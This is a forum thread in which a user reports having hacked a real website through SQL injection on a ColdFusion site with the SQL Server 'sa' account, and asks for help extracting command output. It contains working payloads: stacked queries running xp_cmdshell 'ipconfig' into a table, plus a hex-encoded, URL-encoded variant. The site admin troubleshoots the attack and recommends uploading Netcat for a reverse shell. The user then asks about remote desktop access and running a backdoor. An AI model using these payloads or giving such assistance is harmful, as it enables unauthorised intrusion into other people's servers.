Waraxe Forums - Help me with sqlinjection with CFM with sa acc in sql server

proaspx · Regular user

I hacked webiste with sql injection coldfusion
Sql user= sa
I tried to get real IP address of sql server to do remote desktop

drop table k1 create table k1 (id int identity,nn varchar(max)) insert into k1 exec master..xp_cmdshell 'ipconfig'

;declare%20@sql%20varchar(4000)%20set%20@sql=cast(0x64726f70207461626c65206b3120637265617465207461626c65206b312028696420696e74206964656e746974792c6e6e2076617263686172286d6178292920696e7365727420696e746f206b312065786563206d61737465722e2e78705f636d647368656c6c20276970636f6e66696727%20as%20varchar(4000))%20exec(@sql);--sp_password

when i query data in table K1
But i cant get
7/ Connection-specific DNS Suf = 31 lenghg
8/ IP Address. . . . . . . . .

all data is not full cause not enough length so i cant see real IP of sql server

7/ Connection-specific DNS Suf = 31 length
8/ IP Address. . . . . . . . .=31 length

Data query must = 45 length of string to see real IP
Any body can help ?

proaspx · Regular user

I known the real reason

[Macromedia][SQLServer JDBC Driver][SQLServer]Conversion failed when converting the varchar value ' IP Address. . . . . . . . .' to data type int.

Maybe error in coldfusion can display only 32 charactor...
Any body can help me see more character...

waraxe · Site admin

xp_cmdshell should work fine, so I guess, that data in table k1 is in full form and you have problem getting data back from k1?
How can you fetch data from k1? Via UNION SELECT? Tried using substrings?

And by the way, better option is to upload Netcat to the database server and execute it for reverse shell. But before that you can do ping in order to confirm, that database server can communicate with your computer.

One more thing I spotted ... table k1 ... you declared it as:

create table k1 (id int identity,nn varchar(max))

Try using direct value:

create table k1 (id int identity,nn varchar(4000))

And by the way, what version of MS SQL it is? 2005? 2000?

proaspx · Regular user

thanks admin \
I used left(nn,32) in sql function and problem sloved
But ip of sql server is : 192.168.1.107
SQl server and host is not same IP
how can we known real IP of sql server to do something like :Remote desktop , run backdoor in web browser